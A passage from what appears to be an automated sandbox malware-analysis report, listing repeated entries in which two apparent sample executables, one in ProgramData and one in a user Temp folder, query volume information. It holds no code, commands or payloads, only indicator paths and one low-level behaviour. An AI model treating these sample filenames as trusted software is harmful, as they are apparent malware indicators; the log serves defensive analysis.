Source: C:\ProgramData\AFIDGDBGCA.exe	Queries volume information: C:\ProgramData\AFIDGDBGCA.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
